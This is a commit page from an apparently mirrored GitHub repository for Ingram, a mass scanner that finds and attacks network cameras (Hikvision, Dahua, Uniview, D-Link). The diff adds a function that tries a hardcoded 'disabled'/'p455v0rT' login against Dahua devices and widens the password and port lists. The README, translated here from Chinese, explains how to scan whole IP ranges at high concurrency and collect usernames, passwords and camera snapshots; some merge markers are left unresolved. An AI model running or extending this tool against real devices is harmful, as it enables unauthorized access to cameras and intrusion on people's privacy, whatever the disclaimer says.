mirror of
https://github.com/jorhelp/Ingram.git
synced 2026-10-16 21:20:40 +08:00
Merge pull request #49 from avikowy/master
Merge pull request #49 from avikowy/master
This commit is contained in:
jor
@@ -16,7 +16,7 @@ def get_vul(dev: str) -> list:
|
||||
if dev == config.HIKVISION:
|
||||
return [hikvision_weak, cve_2021_36260, cve_2017_7921]
|
||||
elif dev == config.DAHUA:
|
||||
return [dahua_weak, cve_2021_33044, cve_2021_33045]
|
||||
return [dahua_disabled, dahua_weak, cve_2021_33044, cve_2021_33045]
|
||||
elif dev == config.UNIVIEW_NVR:
|
||||
return [disclosure, ]
|
||||
elif dev == config.DLINK_DCS:
|
||||
@@ -28,4 +28,4 @@ def get_vul(dev: str) -> list:
|
||||
elif dev == config.DVR:
|
||||
return [cve_2018_9995, ]
|
||||
else:
|
||||
return []
|
||||
return []
|
||||
@@ -7,6 +7,8 @@ from Ingram.utils import logger
|
||||
|
||||
USERS = config.USERS
|
||||
PASSWDS = config.PASSWDS
|
||||
USERS1 = config.USERS1
|
||||
PASSWDS1 = config.PASSWDS1
|
||||
TIMEOUT = config.TIMEOUT
|
||||
USERAGENT = config.USERAGENT
|
||||
|
||||
@@ -26,6 +28,44 @@ def hikvision_weak(ip: str) -> list:
|
||||
return [False, ]
|
||||
|
||||
|
||||
def dahua_disabled(ip: str) -> list:
|
||||
url = f"http://{ip}/RPC2_Login"
|
||||
headers = {
|
||||
'User-Agent': USERAGENT,
|
||||
'Host': ip,
|
||||
'Origin': 'http://' + ip,
|
||||
'Referer': 'http://' + ip,
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection': 'close',
|
||||
'X-Requested-With': 'XMLHttpRequest',
|
||||
}
|
||||
for user in USERS1:
|
||||
for passwd in PASSWDS1:
|
||||
_json = {
|
||||
"method": "global.login",
|
||||
"params": {
|
||||
"userName": user,
|
||||
"password": passwd,
|
||||
"clientType": "Web3.0",
|
||||
"loginType": "Direct",
|
||||
"authorityType": "Default",
|
||||
"passwordType": "Plain",
|
||||
},
|
||||
"id": 1,
|
||||
"session": 0,
|
||||
}
|
||||
try:
|
||||
r = requests.post(url, headers=headers, json=_json, verify=False, timeout=TIMEOUT)
|
||||
if r.status_code == 200 and r.json()['result'] == True:
|
||||
return [True, str(user), str(passwd), 'disabled-p455v0rT']
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
return [False, ]
|
||||
|
||||
|
||||
def dahua_weak(ip: str) -> list:
|
||||
url = f"http://{ip}/RPC2_Login"
|
||||
headers = {
|
||||
@@ -94,4 +134,4 @@ def dlink_weak(ip: str) -> list:
|
||||
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
|
||||
if r.status_code == 200 and 'D-Link' in r.text:
|
||||
return [True, str(user), str(p), 'weak pass']
|
||||
return [False, ]
|
||||
return [False, ]
|
||||
|
||||
@@ -9,10 +9,11 @@ class Config:
|
||||
def __init__(self):
|
||||
self.TIMEOUT = 3 # (default) will be reset in the run_ingram.py
|
||||
self.USERS = ['admin'] # user names for Brute force cracking of weak passwords
|
||||
self.PASSWDS = ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc']
|
||||
self.PASSWDS = ['admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc']
|
||||
self.USERS1 = ['disabled']
|
||||
self.PASSWDS1 = ['p455v0rT']
|
||||
self.USERAGENT = get_user_agent() # to save time, we only get user agent once.
|
||||
self.PORT = [80, 81, 82, 83, 84, 85, 88, 8000, 8001, 8080, 8081, 8085, 8086, 8088, 8090, 8181, 2051, 9000, 37777, 49152, 55555]
|
||||
|
||||
self.PORT = [80, 81, 82, 83, 84, 85, 86, 88, 89, 90, 91, 94, 98, 443, 1080, 1081, 7001, 7777, 8000, 8001, 8010, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8181, 8880, 8881, 8888, 37777, 49152, 55555]
|
||||
# device names
|
||||
self.NON_MATCH_DEV = 'other'
|
||||
self.HIKVISION = 'hikvision'
|
||||
@@ -27,4 +28,4 @@ class Config:
|
||||
|
||||
|
||||
global config
|
||||
config = Config()
|
||||
config = Config()
|
||||
|
||||
@@ -15,25 +15,29 @@
|
||||
|
||||
简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.en.md)
|
||||
|
||||
## 简介
|
||||
|
||||
主要针对网络摄像头的漏洞扫描框架，目前已集成海康、大华、宇视、dlink等常见设备
|
||||
## Introduction
|
||||
=======
|
||||
|
||||
|
||||
Mainly for the vulnerability scanning framework of network cameras, it has integrated common equipment such as Hikvision, Dahua, and Uniview. More camera devices and router devices will be added later.
|
||||
<div align=center>
|
||||
<img alt="run" src="https://github.com/jorhelp/imgs/blob/master/Ingram/run_time.gif">
|
||||
</div>
|
||||
|
||||
|
||||
## 安装
|
||||
## Install
|
||||
|
||||
**Windows 仍有部分bug，Linux 与 Mac可以正常使用。请确保安装了3.7及以上版本的Python，推荐3.8**
|
||||
**Windows still has some bugs, Linux and Mac can be used normally. Please make sure to install Python 3.7 and above, 3.8 is recommended**
|
||||
|
||||
+ 克隆该仓库:
|
||||
+ clone the repository:
|
||||
```bash
|
||||
git clone https://github.com/jorhelp/Ingram.git
|
||||
git clone https://github.com/avikowy/Ingram.git
|
||||
```
|
||||
|
||||
+ 进入项目目录，创建一个虚拟环境，并激活该环境：
|
||||
|
||||
+ Enter the project directory to install dependencies:
|
||||
|
||||
```bash
|
||||
cd Ingram
|
||||
pip3 install virtualenv
|
||||
@@ -46,62 +50,67 @@ source venv/bin/activate
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
至此安装完毕！
|
||||
So far the installation is complete!
|
||||
|
||||
|
||||
## 运行
|
||||
## run
|
||||
|
||||
+ 由于是在虚拟环境中配置，所以，每次运行之前，请先激活虚拟环境：`source venv/bin/activate`
|
||||
|
||||
+ 你需要准备一个目标文件，比如 target.txt，里面保存着你要扫描的 IP 地址，每行一个目标，具体格式如下：
|
||||
+ You need to prepare a target file, such as target.txt, which stores the IP addresses you want to scan, one target per line, the specific format is as follows:
|
||||
|
||||
```
|
||||
# 你可以使用井号(#)来进行注释
|
||||
# 单个的 IP 地址
|
||||
# You can use the pound sign (#) to comment
|
||||
# single IP address
|
||||
192.168.0.1
|
||||
# IP 地址以及要扫描的端口
|
||||
# IP address and port to scan
|
||||
192.168.0.2:80
|
||||
# 带 '/' 的IP段
|
||||
# IP segment with '/'
|
||||
192.168.0.0/16
|
||||
# 带 '-' 的IP段
|
||||
# IP segment with '-'
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
+ 有了目标文件之后就可直接运行:
|
||||
|
||||
+ run after:
|
||||
|
||||
```bash
|
||||
python run_ingram.py -i 你要扫描的文件 -o 输出文件夹
|
||||
python run_ingram.py -i files you want to scan -o output folder
|
||||
```
|
||||
|
||||
+ 端口：
|
||||
如果target.txt文件中指定了目标的端口，比如: 192.168.6.6:8000，那么会扫描该目标的8000端口
|
||||
+ port:
|
||||
If the target port is specified in the target.txt file, for example: 192.168.6.6:8000, then the target port 8000 will be scanned
|
||||
|
||||
否则的话，默认只扫描常见端口，若要批量扫描其他端口，需自行指定，例如：
|
||||
Otherwise, only common ports are scanned by default. If you want to scan other ports in batches, you need to specify them yourself, for example:
|
||||
```bash
|
||||
python run_ingram.py -i 你要扫描的文件 -o 输出文件夹 -p 80 81 8000
|
||||
python run_ingram.py -i files you want to scan -o output folder -p 80 81 8000
|
||||
```
|
||||
|
||||
+ 默认的并发数目可能对你的宽带来说 so easy 了， 你可以根据网络情况适当增大，比如在我测试机上将并发数目加到800依然运行良好，而且速度极快:
|
||||
+ The default number of concurrency may be so easy for your broadband, you can increase it appropriately according to the network conditions, for example, increasing the number of concurrency to 800 on my test machine still works well, and the speed is extremely fast:
|
||||
```bash
|
||||
python run_ingram.py -i 你要扫描的文件 -o 输出文件夹 -t 800
|
||||
python run_ingram.py -i files you want to scan -o output folder -t 800
|
||||
```
|
||||
|
||||
+ 其他参数：
|
||||
+ other parameters:
|
||||
```
|
||||
optional arguments:
|
||||
-h, --help 打印参数信息
|
||||
-h, --help print parameter information
|
||||
-i IN_FILE, --in_file IN_FILE
|
||||
要扫描的文件
|
||||
file to scan
|
||||
-o OUT_DIR, --out_dir OUT_DIR
|
||||
扫描结果输出路径
|
||||
Scan result output path
|
||||
-p PORT [PORT ...], --port PORT [PORT ...]
|
||||
要扫描的端口，可以指定多个端口，比如 -p 80 81 82
|
||||
The port to scan, you can specify multiple ports, such as -p 80 81 82
|
||||
-t TH_NUM, --th_num TH_NUM
|
||||
并发数目，视网络状况自行调整
|
||||
The number of concurrent, adjusted according to the network conditions
|
||||
-T TIME_OUT, --time_out TIME_OUT
|
||||
超时
|
||||
--debug 调试模式
|
||||
time out
|
||||
--debug debug mode
|
||||
```
|
||||
|
||||
|
||||
+ (**Optional**) The scan time may be very long, if you want to send a reminder via WeChat when the program scan is over, you need to follow [wxpusher](https://wxpusher.zjiecode.com/docs /) to get your own *UID* and *APP_TOKEN* and write them into `run_ingram.py`:
|
||||
=======
|
||||
|
||||
## 端口扫描器
|
||||
|
||||
+ 我们可以利用强大的端口扫描器来获取活动主机，进而缩小 Ingram 的扫描范围，提高运行速度，具体做法是将端口扫描器的结果文件整理成 `ip:port` 的格式，并作为 Ingram 的输入
|
||||
@@ -116,16 +125,18 @@ optional arguments:
|
||||
## 微信提醒(可有可无)
|
||||
|
||||
+ (**可选**) 扫描时间可能会很长，如果你想让程序扫描结束的时候通过微信发送一条提醒的话，你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*，并将其写入 `run_ingram.py`:
|
||||
|
||||
```python
|
||||
# wechat
|
||||
config.set_val('WXUID', '这里写uid')
|
||||
config.set_val('WXTOKEN', '这里写token')
|
||||
#wechat
|
||||
config.set_val('WXUID', 'write uid here')
|
||||
config.set_val('WXTOKEN', 'write token here')
|
||||
```
|
||||
|
||||
+ 支持中断恢复，不过由于考虑到性能，并不会实时记录当前运行状态，而是间隔一定时间，所以并不能准确恢复到上次的运行状态。(这里做的比较粗糙，下个版本调整)
|
||||
+ Support interruption recovery, but because the running status is recorded every 5 minutes, it cannot accurately restore to the last running status. (It's rough here, it will be adjusted in the next version)
|
||||
|
||||
|
||||
## 结果
|
||||
|
||||
## result
|
||||
|
||||
```bash
|
||||
.
|
||||
@@ -135,59 +146,59 @@ config.set_val('WXTOKEN', '这里写token')
|
||||
└── log.txt
|
||||
```
|
||||
|
||||
+ `results.csv` 里保存了完整的结果, 格式为: `ip,端口,设备类型,用户名,密码,漏洞条目`:
|
||||
+ `results.csv` saves the complete results in the format: `ip,port,devicetype,username,password,vulnerability entry`:
|
||||
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/results.png">
|
||||
</div>
|
||||
|
||||
+ `not_vulnerable.csv` 中保存的是没有暴露的设备
|
||||
+ `not_vulnerable.csv` stores unexposed devices
|
||||
|
||||
+ `snapshots` 中保存了部分设备的快照:
|
||||
+ `snapshots` stores snapshots of some devices:
|
||||
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/snapshots.png">
|
||||
</div>
|
||||
|
||||
|
||||
## ~~实时预览~~ (由于部分原因已移除)
|
||||
## ~~Live Preview~~ (removed for some reasons)
|
||||
|
||||
+ ~~可以直接通过浏览器登录来预览~~
|
||||
+ ~~You can log in directly through the browser to preview~~
|
||||
|
||||
+ ~~如果想批量查看，我们提供了一个脚本 `show/show_rtsp/show_all.py`，不过它还有一些问题:~~
|
||||
+ ~~If you want to view batches, we provide a script `show/show_rtsp/show_all.py`, but it still has some problems :~~
|
||||
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/show_rtsp.png">
|
||||
</div>
|
||||
|
||||
|
||||
## 更新日志
|
||||
## Changelog
|
||||
|
||||
+ [2022-06-11] **优化运行速度，支持存储非暴露设备，支持中断恢复**
|
||||
+ [2022-06-11] **Optimize running speed, support storage of non-exposed devices, support interrupt recovery**
|
||||
|
||||
+ [2022-07-23] **可以通过 CVE-2021-33044(Dahua) 来获取用户名与密码了！修改了摄像头快照逻辑(将rtsp替换为了http)，优化了运行速度**
|
||||
- **由于新版本加入了一些依赖包，需要重新配置环境!!!**
|
||||
+ [2022-07-23] **Username and password can be obtained through CVE-2021-33044(Dahua)! Modify the camera snapshot logic (replace rtsp with http), optimize the running speed**
|
||||
- **Because the new version has added some dependency packages, the environment needs to be reconfigured!!!**
|
||||
|
||||
+ [2022-08-05] **增加了 CVE-2021-33045(Dahua NVR)，不过由于NVR设备的账号密码与真正的摄像头的账号密码可能不一致，所以快照功能并不总是有效**
|
||||
+ [2022-08-05] **Added CVE-2021-33045 (Dahua NVR), but because the account password of the NVR device may not be the same as that of the real camera, the snapshot function does not always work**
|
||||
|
||||
+ [2022-08-06] **增加了 宇视 设备的密码暴露模块，暂不支持快照**
|
||||
+ [2022-08-06] **Added a password exposure module for Uniview devices, but snapshots are not currently supported**
|
||||
|
||||
+ [2022-08-17] **比较大的一次更新，我们重构了所有代码 (需要重新配置环境)，具体如下：**
|
||||
- 重构了代码结构，便于以后集成更多漏洞，移除部分依赖包，减少了超参数
|
||||
- 将多线程替换为协程，速度较之前有明显提升
|
||||
- 解决了子进程无法自动关闭的bug
|
||||
- 去掉了对masscan的支持，因为新版本会自动探测端口，当然你还可以把masscan的结果ip提取出来作为Ingram的输入
|
||||
- 去掉了若干与设备相关的超参数，新版本会自动探测设备
|
||||
- 不再内置iplist，因为其太占空间且不便于维护，需要的可以自己去网上找
|
||||
- 解决了读取大文件内存爆炸的问题
|
||||
+ [2022-08-17] **A relatively large update, we refactored all the code (need to reconfigure the environment), as follows:**
|
||||
- Refactored the code structure to facilitate the integration of more vulnerabilities in the future, removed some dependent packages, and reduced hyperparameters
|
||||
- Replaced multi-threading with coroutines, the speed is significantly improved than before
|
||||
- Solved the bug that the child process could not be closed automatically
|
||||
- Removed support for masscan, because the new version will automatically detect the port, of course, you can also extract the result ip of masscan as the input of Ingram
|
||||
- Removed several device-related hyperparameters, the new version will automatically detect the device
|
||||
- No built-in iplist, because it takes up too much space and is inconvenient to maintain, you can find it online yourself if you need it
|
||||
- Solved the problem of memory explosion when reading large files
|
||||
|
||||
|
||||
## 免责声明
|
||||
## Disclaimer
|
||||
|
||||
本工具仅供安全测试，严禁用于非法用途，后果与本团队无关
|
||||
This tool is for security testing only, and is strictly prohibited for illegal use, and the consequences have nothing to do with the team
|
||||
|
||||
|
||||
## 鸣谢 & 引用
|
||||
## Acknowledgments & Quotes
|
||||
|
||||
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
|
||||
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
|
||||
|
||||
Reference in New Issue
Block a user